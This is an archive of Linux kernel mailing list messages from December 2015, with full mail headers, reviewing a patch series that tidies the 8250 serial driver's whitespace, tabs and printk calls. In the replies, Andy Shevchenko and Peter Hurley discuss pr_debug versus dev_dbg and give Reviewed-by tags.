	"deller@gmx.de" <deller@gmx.de>,
	"jslaby@suse.com" <jslaby@suse.com>,
	"phillip.raffeck@fau.de" <phillip.raffeck@fau.de>,
	"paul.burton@imgtec.com" <paul.burton@imgtec.com>,
	"hpeter@gmail.com" <hpeter@gmail.com>,
	"ralf@linux-mips.org" <ralf@linux-mips.org>,
	"linux-kernel@i4.cs.fau.de" <linux-kernel@i4.cs.fau.de>,
	"mans@mansr.com" <mans@mansr.com>,
	"adam.lee@canonical.com" <adam.lee@canonical.com>,
	"gregkh@linuxfoundation.org" <gregkh@linuxfoundation.org>,
	"jejb@parisc-linux.org" <jejb@par
To: "linux-serial@vger.kernel.org" <linux-serial@vger.kernel.org>,
	"anton.wuerfel@fau.de" <anton.wuerfel@fau.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 18 13:43:21 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9uNU-0001XQ-KH
	for glk-linux-kernel-3@plane.gmane.org; Fri, 18 Dec 2015 13:43:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753603AbbLRMnL (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 18 Dec 2015 07:43:11 -0500
Original-Received: from mga01.intel.com ([192.55.52.88]:39305 "EHLO mga01.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753504AbbLRMmR (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Fri, 18 Dec 2015 07:42:17 -0500
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by fmsmga101.fm.intel.com with ESMTP; 18 Dec 2015 04:42:16 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.20,446,1444719600"; 
   d="scan'208";a="874242301"
Original-Received: from irsmsx152.ger.corp.intel.com ([163.33.192.66])
  by orsmga002.jf.intel.com with ESMTP; 18 Dec 2015 04:42:12 -0800
Original-Received: from irsmsx103.ger.corp.intel.com ([169.254.3.13]) by
 IRSMSX152.ger.corp.intel.com ([169.254.6.143]) with mapi id 14.03.0248.002;
 Fri, 18 Dec 2015 12:42:09 +0000
Thread-Topic: [PATCH v2 10/11] tty: serial: 8250: Replace printk by pr_*
Thread-Index: AQHROZGB7tPg0Lhq+Eyrt5YMBeNBsg==
In-Reply-To: <1450441926.30729.208.camel@linux.intel.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.237.72.86]
Content-ID: <D5138F88F01CC442A0FE8033D57E7980@intel.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2111641 gmane.linux.serial:21162 gmane.linux.ports.parisc:26226
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2111641>

T24gRnJpLCAyMDE1LTEyLTE4IGF0IDE0OjMyICswMjAwLCBBbmR5IFNoZXZjaGVua28gd3JvdGU6
DQo+IE9uIEZyaSwgMjAxNS0xMi0xOCBhdCAxMjoyMiArMDEwMCwgQW50b24gV3VlcmZlbCB3cm90
ZToNCj4gDQo+IA0KPiA+IMKgVGhpcyBjb21lcyB3aXRoIGEgc2xpZ2h0IGNoYW5nZSBpbiBiZWhh
dmlvdXIgYXMNCj4gPiBwcl9kZWJ1ZyBpcyBjb25maWd1cmFibGUgdmlhIENPTkZJR19EWU5BTUlD
X0RFQlVHLCB3aGVyZWFzDQo+ID4gcHJpbnRrKEtFUk5fREVCVUcgLi4uKSBpcyBub3QuDQo+IA0K
PiAtLS0gYS9kcml2ZXJzL3R0eS9zZXJpYWwvODI1MC84MjUwX3BucC5jDQo+ID4gKysrIGIvZHJp
dmVycy90dHkvc2VyaWFsLzgyNTAvODI1MF9wbnAuYw0KPiA+IEBAIC00NjUsOSArNDY1LDkgQEAg
c2VyaWFsX3BucF9wcm9iZShzdHJ1Y3QgcG5wX2RldiAqZGV2LCBjb25zdA0KPiA+IHN0cnVjdCBw
bnBfZGV2aWNlX2lkICpkZXZfaWQpDQoNCk9uZSBtb3JlIHRoaW5nIGp1c3Qgbm90aWNlZCB0aGF0
IGlzIC0+cHJvYmUoKSBmdW5jdGlvbiB3aGVyZSB5b3UgaGF2ZQ0Kc3RydWN0IGRldmljZSBkZWZp
bmVkLCBpdCBtaWdodCBiZSB3b3J0aCB0byBjaGFuZ2UgdG8gZGV2XyogbWFjcm9zDQppbnN0ZWFk
IG9mIHByXyBhdCB0aGUgc2FtZSB0aW1lIGZvciBzb21lIGZ1bmN0aW9ucy4NCg0KU28sIGhlcmUg
aXQgd291bGQgYmUgZGV2X2RiZygmZGV2LT5kZXYsIOKApikgSSBzdXBwb3NlLg0KDQoNCi0tIA0K
QW5keSBTaGV2Y2hlbmtvIDxhbmRyaXkuc2hldmNoZW5rb0BpbnRlbC5jb20+DQpJbnRlbCBGaW5s
YW5kIE95DQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0KSW50ZWwgRmlubGFuZCBPeQpSZWdpc3RlcmVkIEFkZHJlc3M6
IFBMIDI4MSwgMDAxODEgSGVsc2lua2kgCkJ1c2luZXNzIElkZW50aXR5IENvZGU6IDAzNTc2MDYg
LSA0IApEb21pY2lsZWQgaW4gSGVsc2lua2kgCgpUaGlzIGUtbWFpbCBhbmQgYW55IGF0dGFjaG1l
bnRzIG1heSBjb250YWluIGNvbmZpZGVudGlhbCBtYXRlcmlhbCBmb3IKdGhlIHNvbGUgdXNlIG9m
IHRoZSBpbnRlbmRlZCByZWNpcGllbnQocykuIEFueSByZXZpZXcgb3IgZGlzdHJpYnV0aW9uCmJ5
IG90aGVycyBpcyBzdHJpY3RseSBwcm9oaWJpdGVkLiBJZiB5b3UgYXJlIG5vdCB0aGUgaW50ZW5k
ZWQKcmVjaXBpZW50LCBwbGVhc2UgY29udGFjdCB0aGUgc2VuZGVyIGFuZCBkZWxldGUgYWxsIGNv
cGllcy4K


From - Thu Nov 08 21:38:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH v2 10/11] tty: serial: 8250: Replace printk by pr_*
Date: Fri, 18 Dec 2015 07:10:52 -0800
Lines: 63
Approved: news@gmane.org
Message-ID: <567421FC.7080005@hurleysoftware.com>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
 <1450437723-2978-11-git-send-email-anton.wuerfel@fau.de>
 <1450441926.30729.208.camel@linux.intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450451475 32468 80.91.229.3 (18 Dec 2015 15:11:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 15:11:15 +0000 (UTC)
Cc: Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffe
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 16:11:02 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9wgN-0007LN-1y
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Dec 2015 16:10:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752941AbbLRPK6 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 10:10:58 -0500
Original-Received: from mail-pa0-f47.google.com ([209.85.220.47]:34556 "EHLO
	mail-pa0-f47.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752119AbbLRPK5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 10:10:57 -0500
Original-Received: by mail-pa0-f47.google.com with SMTP id wq6so61878557pac.1
        for <linux-parisc@vger.kernel.org>; Fri, 18 Dec 2015 07:10:57 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=ihg9yWAsW9IcS9OFib12J2miek4f0os/Rf/x711JpSo=;
        b=WyfJpACAvBeaoarpmFm7NuAKCbPb3833t+y5N9G2I3s3DDOQ2HPJdQS4JeMtghmTBb
         d0cn3VPIi/9810pWo1ntfX+cu0LpqcIrLFNCmCsfjpV6/f6jouBKucGSCSjLC6VYk8R3
         uwRW5vUq1WFIlaI3Rt7GC/tg8q8TCBTnj/jik/3dty7rKyVLUqDyj9R8e1Ksw6mnUk3J
         hRoCMzN0SdWRknRNpWP/FZe71rXtNygRCAZFM/IyAIC5DkmCtbuLcCX9nR5gT+MoZl+v
         M3fDQgoF36+IWtl8QNsxR2LRjjoWVcu0zQdQF1SgcJMG58SFwuzGvbYib1abU7s1pO0t
         XYPQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=ihg9yWAsW9IcS9OFib12J2miek4f0os/Rf/x711JpSo=;
        b=kTcx+FaO87mK3nn8XSjt3/A4s+TomQ0DSQYx7fX+5WvwdIB/BqMxvvTjaBu0ecpfTz
         VJXhc+mNvLuwZpkRYmQvqewCDEcXkrxTtVhNybdBzQT0Q4fM5CGt6KvRqITaS8TXNh47
         o5PSQM0eKBb1xGEU25yWZC7L/l4P3c7GXYiSPxDDAYi/72PofOADXxgzAnNcyMAGo9nO
         sVbgU74IPdk1ItHiODKQZvWUyOE/EMkREKwteOvDLRmEIflN5BZWyccb+k8epXMdkqNV
         UaysktKLVvLeRijallWB69NgTy/7NxweEU338oV6JJChhYDmO+e8SRcNCpTDCSWsArHA
         b4Ig==
X-Gm-Message-State: ALoCoQnhhaJRCmmvKoe9EbQl5C/uULIQl3Tu8k1UniJtkU0Hvie9sjUEO+8IlrLBgG9L3CKe4yvZERBUw3udZu+BcMO+3h2i8Q==
X-Received: by 10.66.153.198 with SMTP id vi6mr5929245pab.37.1450451457044;
        Fri, 18 Dec 2015 07:10:57 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id w72sm18573397pfi.75.2015.12.18.07.10.54
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 18 Dec 2015 07:10:55 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450441926.30729.208.camel@linux.intel.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26227 gmane.linux.serial:21171 gmane.linux.kernel:2111824
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26227>

Hi Anton,

On 12/18/2015 04:32 AM, Andy Shevchenko wrote:
> On Fri, 2015-12-18 at 12:22 +0100, Anton Wuerfel wrote:
>=20
>=20
>>  This comes with a slight change in behaviour as
>> pr_debug is configurable via CONFIG_DYNAMIC_DEBUG, whereas
>> printk(KERN_DEBUG ...) is not.

Please make this one change and the changes Andy is suggesting
it a separate patch.

That way the commit can describe how the get the equivalent
behavior (ie., with CONFIG_DYNAMIC_DEBUG) rather than with
-DSERIAL_DEBUG_PNP.

Regards,
Peter Hurley

> --- a/drivers/tty/serial/8250/8250_pnp.c
>> +++ b/drivers/tty/serial/8250/8250_pnp.c
>> @@ -465,9 +465,9 @@ serial_pnp_probe(struct pnp_dev *dev, const
>> struct pnp_device_id *dev_id)
>>  		return -ENODEV;
>> =20
>>  #ifdef SERIAL_DEBUG_PNP
>> -	printk(KERN_DEBUG
>=20
> I think it's not okay.
>=20
> The rationale to have printk(KERN_DEBUG =E2=80=A6) here is to allow a
> compilation with support of those messages independently on
> DYNAMIC_DEBUG.
>=20
> If you want to switch to DYNAMIC_DEBUG you have to carefully check wh=
at
> is done under SERIAL_DEBUG_PNP.
>=20
> git grep on current linux-next shows that SERIAL_DEBUG_PNP is an
> orphan.
>=20
> So, I would suggest to remove #ifdef.
>=20
>> -		"Setup PNP port: port %x, mem 0x%lx, irq %d, type
>> %d\n",
>> -		       uart.port.iobase, uart.port.mapbase,
>> uart.port.irq, uart.port.iotype);
>> +	pr_debug("Setup PNP port: port %x, mem 0x%lx, irq %d, type
>> %d\n",
>> +		 uart.port.iobase, uart.port.mapbase,
>> +		 uart.port.irq, uart.port.iotype);
>>  #endif
>>
>=20
>=20

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: Re: [PATCH v2 01/11] tty: serial: 8250: Fix whitespace errors
Date: Fri, 18 Dec 2015 07:11:28 -0800
Lines: 6
Approved: news@gmane.org
Message-ID: <56742220.1060702@hurleysoftware.com>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
 <1450437723-2978-2-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450451514 814 80.91.229.3 (18 Dec 2015 15:11:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 15:11:54 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffe
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 18 16:11:43 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9wh1-0001Pg-Tf
	for glk-linux-kernel-3@plane.gmane.org; Fri, 18 Dec 2015 16:11:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753435AbbLRPLf (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 18 Dec 2015 10:11:35 -0500
Original-Received: from mail-pa0-f54.google.com ([209.85.220.54]:33803 "EHLO
	mail-pa0-f54.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752130AbbLRPLc (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 18 Dec 2015 10:11:32 -0500
Original-Received: by mail-pa0-f54.google.com with SMTP id wq6so61885847pac.1
        for <linux-kernel@vger.kernel.org>; Fri, 18 Dec 2015 07:11:32 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=myTwlkZ4cEAnO3G0uSUmgE/VXr2pcWxWrsU+S3kJro0=;
        b=jE428XAI+b5WxRcZJtfLh4wBux1sQRYJ6d8ML9TmoUwynUDVoE6J5r8utzGRIXF+L0
         ltB+yW28gRBeGDxtDBDL0S0ctjTgBxk8YiEBToRGcQm8Wyou/tVoPDQ17aqh5RWduc3M
         lVbeJF7dYPtRMol9far3sOFsG57AAfHRzC6fA2A8gQcK9ZWNVMRwY4AnJ00NH6k+TSOf
         fCatmL0HXQLhibvf+096MOBfC3Q+c5weEd6KK6SbhAc59ZErhbfP31FL7zDaJ77QksUV
         zi/Ec3zjLxezZADwnGb/Ujw1l4bF/H+uPxQj4phN5kbbEZsO11hmdapWAA9WtiE5arrC
         qYcQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=myTwlkZ4cEAnO3G0uSUmgE/VXr2pcWxWrsU+S3kJro0=;
        b=hYQGSqjpdF7RyeUGaQRj2zrqNX18owzWrVKbYJoOGf/Jj8ipwYup9rflXQXFDL5ocU
         RgMAQXF3tjjzLqmzZraThIF0mtjUX8WD9FqVP8X6pSerZLq9qf0OGnwdO5HETZh/UuW/
         XfGq/78DXc/Ic29SnBFEaF+0hqjVi702nBRcpW/fwmIfnUBSXUEpCVUPst/u8gKH7vFi
         EJCCZhsKEHEC31jaXcL6ToC891EefVJsJMA0KkOQtOlE9MNJr8f5K7Zh3w2/D1J4TLuT
         O3PXKz+nXHyalKOn2df+AcvPh3bVm29V3K3TTMHUd3LfNtTDZ0cyHe64TqO1aRgY1bMQ
         lbHQ==
X-Gm-Message-State: ALoCoQntip74iUFLNOMA/H/8gaqYlPlQeFNkrivF7/UAbdEd8ogZ284jn2RnqS694jipJaqNISXcYYEnFIidP0V02XKA8Kflsg==
X-Received: by 10.66.140.39 with SMTP id rd7mr5946994pab.86.1450451492332;
        Fri, 18 Dec 2015 07:11:32 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id 72sm18586453pfq.89.2015.12.18.07.11.30
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 18 Dec 2015 07:11:31 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450437723-2978-2-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2111825 gmane.linux.serial:21172 gmane.linux.ports.parisc:26228
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2111825>

On 12/18/2015 03:21 AM, Anton Wuerfel wrote:
> This patch fixes whitespace errors reported by checkpatch to increase
> readability. Main focus is on missing spaces after commas in
> function headers and macros (like foo,bar edited to foo, bar).

Reviewed-by: Peter Hurley <peter@hurleysoftware.com>

From - Thu Nov 08 21:38:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH v2 02/11] tty: serial: 8250: Replace spaces with tabs
Date: Fri, 18 Dec 2015 07:12:03 -0800
Lines: 10
Approved: news@gmane.org
Message-ID: <56742243.8000405@hurleysoftware.com>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
 <1450437723-2978-3-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450451546 1150 80.91.229.3 (18 Dec 2015 15:12:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 15:12:26 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffe
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 16:12:15 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9whV-0001Vr-Aw
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Dec 2015 16:12:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753490AbbLRPMJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 10:12:09 -0500
Original-Received: from mail-pf0-f179.google.com ([209.85.192.179]:33718 "EHLO
	mail-pf0-f179.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753462AbbLRPMH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 10:12:07 -0500
Original-Received: by mail-pf0-f179.google.com with SMTP id n128so32703388pfn.0
        for <linux-parisc@vger.kernel.org>; Fri, 18 Dec 2015 07:12:07 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=jsfpxufShv/7/p3bmzg68Kx8Cug79ANmA5alW7HzSqY=;
        b=dBfGd4Z56rjWcVdfy9hLCso15ypq/rk/OjRJ1jrKbPFdDT35en16VPHAM6NjlevsPz
         0rUNI0QKMSLkRWlyE5IPXRAnTWAmdqv6VRu8Hxz5wjIyLcMkCKsUaJPP6OVmEC3H2KAF
         pNyYYT4PmANPJwMICLowxl2jDxQAwy791tuo6VBgpvM2HRewxTX4pyI3YAiN1F1caKad
         pLziO5ZepRsSRkoGVTXkbEFwbd0wxqJhgA57pWHmTwe9MJ1Hh5bv6r1KDEQR558w9oI4
         fFNUl7YOYbucgRe61TFwKh9xaggEIo2J9TLcJS1zqnuLIacElhVhU1XRs+bFy7qO6CN9
         XCkg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=jsfpxufShv/7/p3bmzg68Kx8Cug79ANmA5alW7HzSqY=;
        b=iEDPWdFWVWEvmP6xVN3YgRHinMFZGYwMd5TWUCXzPyqgJTVxltus9DB22UUAWkySMF
         pqZuZ63saPngBR4s0DJyvnFvhBNX8vTL2gW7xLdy7jHPDKIuENVfv97Kb8SazzvjQ75X
         AWAxURBXerzm8iBe/gYskgc0+/0qXlKNJWWSa0h2aRcBZVEZye7mcKr8oQ3kV9FxW/UX
         a7Y8vzeSaH+Khp7xb97qoOA0wUGirHyn5ERRJoqtVVPhKBcHhgbU7EcmlCdDfFtzWxyt
         YWeO28NsZagaqBsX+p6TmiG3nmrAUQ7K7GrY0AsSp6oxf0Qj2j04rs+dcDzLtIrmM28G
         eylA==
X-Gm-Message-State: ALoCoQnvBwHdfmWgwcF2BAo1nR9WZZ4VeM3bi5IUsKyby4rbqBdH+41p1hITqzEaRsMJkPO1ZVR6iBSB+Fv2ylR/bSTF0PGf1w==
X-Received: by 10.98.69.73 with SMTP id s70mr5986779pfa.4.1450451527243;
        Fri, 18 Dec 2015 07:12:07 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id 87sm18590199pfp.38.2015.12.18.07.12.05
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 18 Dec 2015 07:12:06 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450437723-2978-3-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26229 gmane.linux.serial:21173 gmane.linux.kernel:2111826
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26229>

On 12/18/2015 03:21 AM, Anton Wuerfel wrote:
> Indentation is changed to match the correct format of using tabs instead
> of spaces wherever possible.

Reviewed-by: Peter Hurley <peter@hurleysoftware.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH v2 03/11] tty: serial: 8250: Fix braces after struct
Date: Fri, 18 Dec 2015 07:12:35 -0800
Lines: 10
Approved: news@gmane.org
Message-ID: <56742263.4090302@hurleysoftware.com>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
 <1450437723-2978-4-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450451579 1817 80.91.229.3 (18 Dec 2015 15:12:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 15:12:59 +0000 (UTC)
